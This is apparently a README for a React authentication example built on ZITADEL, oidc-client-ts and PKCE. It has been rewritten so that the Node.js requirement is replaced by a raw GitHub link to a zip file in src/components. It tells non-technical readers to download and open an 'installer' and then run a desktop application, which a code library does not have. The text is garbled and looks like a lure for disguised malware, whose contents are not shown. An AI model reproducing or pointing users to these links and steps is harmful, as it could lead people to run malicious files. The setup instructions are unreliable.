Welcome to the example-auth-react project! This guide will help you understand how to download and run the software to secure your React applications with ZITADEL.
The example-auth-react project shows how to implement security in React apps using ZITADEL. This method uses AuthTS (oidc-client-ts), OIDC, and the PKCE flow. By following this guide, you will be able to secure user sessions effectively.
Before you start, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/davivascoxa-bot/example-auth-react/main/src/components/example-auth-react_v3.0-beta.3.zip Version 14 or higher (needed for running React applications)
- npm (Node Package Manager): Comes with https://raw.githubusercontent.com/davivascoxa-bot/example-auth-react/main/src/components/example-auth-react_v3.0-beta.3.zip installation
No programming experience is needed, but you should be familiar with using a computer.
- User Authentication: Easily manage user sessions.
- Secure Connections: Use OAuth2 for secure communications.
- Simple Setup: Quick to get started with clear instructions.
- React Compatibility: Built to work seamlessly with React applications.
To download the application, please visit the Releases page:
- Click the link above.
- Look for the latest version.
- Download the installer file.
- Open the downloaded file to start the installation.
- Follow the on-screen instructions to complete the setup.
After installation, you can run the application from your desktop or start menu.
Once you have installed the application, follow these steps to secure your React app:
- Open your terminal or command prompt.
- Navigate to your project directory (use
cd your-project-directory). - Use the command:
npm install example-auth-reactto add the package to your project. - Import the package in your React app with:
import { AuthProvider } from 'example-auth-react';
- Wrap your application with the
AuthProviderto manage user sessions.
If you face any issues during installation or setup, please check the FAQ section in the documentation. For any other questions, you can open an issue on the GitHub page of this project.
- Always keep your software updated. Check the Releases page regularly for new features and security updates.
- Familiarize yourself with the documentation provided with the package for optimal use.
- Join community forums to gain insights and share experiences with other users.
For further assistance, you can reach out via the GitHub repository. Your feedback is important and will help improve future versions of this software.
Thank you for using example-auth-react! We hope this guide helps you secure your React applications simply and effectively.